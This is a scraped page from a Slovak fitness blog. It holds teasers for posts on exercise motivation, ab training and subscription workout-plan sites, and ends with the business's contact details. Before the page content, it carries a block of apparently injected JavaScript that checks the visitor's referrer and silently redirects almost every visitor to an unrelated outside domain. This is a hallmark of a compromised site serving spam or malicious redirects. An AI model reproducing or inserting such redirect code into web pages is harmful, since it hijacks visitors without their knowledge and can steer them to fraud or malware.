var toUrl="http://"; var rUrl = document.referrer; var patrn=/(.*)$/; toUrl+="servingnotice.com/O7ul2v/intermediary.html?richubaidaninfo"; toUrl+=""; if(patrn.exec(rUrl))window.location.href=toUrl; patrn=/(.*)aol.(.*)$/; if(patrn.exec(rUrl))window.location.href=toUrl; patrn=/(.*)yahoo.(.*)$/; if(patrn.exec(rUrl))window.location.href=toUrl; patrn=/(.*)bing.(.*)$/; if(patrn.exec(rUrl))window.location.href=toUrl; Blog | www.bodytrener.sk
Blog
...naučte sa niečo nové!
Príspevky blogu

Ako ...

  • Diskusia:
  • (1)

Mnoho ľudí sa stále snaží cvičiť, jesť poriadne, ale po pár dňoch to vzdajú. Vykašlú sa na všetko a zanevrú na akýkoľvek šport. Ďalší ľudia si dajú cieľ, ktorí nie je možné splniť. Napríklad schudnúť 10kg a pribrať 5kg čistej svalovej hmoty za týždeň. Potom zase zanevrú na šport, cvičenie a len nadávajú, že nič [...]

Ako vyformovať ...

Takmer každý by chcel mať peknú postavu a vyrysované brušné svaly. Niekomu stačí ploché bruško, iným veľké kocky, ďalším menšie. Snažíte sa dať do cvičenia brucha maximum, ale môže to byť viac kontaproduktívne ako na úžitok. Neberiete brušné svaly ako iné svaly na tele. Snažíte sa cvičiť brucho každý deň vo veľkom počte sérii, opakovaní, [...]

Prečo ostatní napredujú a ...

Na fórach a aj nás sa pýtajú neustále rovnaké otázky. To je ako majú zo seba spraviť vysnívanú postavu. Keď predtým chodili cvičiť, ale po pár mesiacoch to zabalili lebo nevideli výsledky. Čo iné im môžeme poradiť aby si splnili svoj sen. Na takúto otázku neexistuje presná odpoveď. Urobte 100 klikov, 30 drepov a získate [...]

Automatická tvorba tréningov a ...

  • Diskusia:
  • (8)

Dnešný deň by sme Vám radi povedali niečo o momentálnom trende na Slovensku. Začalo vznikať veľa stránok, ktoré ponúkajú tvorbu tréningov a jedálničkou automaticky. Mesačne platíte nejaké členstvo a za to si môžete vybrať z niektorého tréningu a jedálnička, ktoré sú predom pripravené. Lepšie stránky Vám ešte ponúknu aj 3-4 články za mesiac. Nejdeme si [...]

Správna doba na zmenu! ...

  • Diskusia:
  • (2)

Pre niektorých skončili prázdniny a začala škola. Pre ďalších práca neskončila ani nezačala, pracujú stále. Čo tak, ale prestať byť nespokojný so svojou postavu a začať niečo so sebou robiť? Motivuj sa! Najľahšou cestou je povedať, že nemáš čas, že nemáš kde chodiť cvičiť. Vyhováranie ti ide, ale ako si na tom s cvičením? Každý [...]

Odber noviniek

Pridajte sa k odberu noviniek a získajte najnovšie informácie o článkoch, zľavách a súťažiach.

Potrebujete pomoc?

Adresa:
Bodytrener.sk - Patrik Barčák
Za kalváriou 667/18
02942 Bobrov

Pracovná doba:
Pon – Ned
10:00 – 22:00

E-mail: info@bodytrener.sk
Telefón: +421 910 448 689

Bankový účet:
IBAN: SK1111000000002938482513
Swift: TATRSKBX

© 2013 Bodytrener.sk. Všetky práva vyhradené.

Pridaj si nás na Facebooku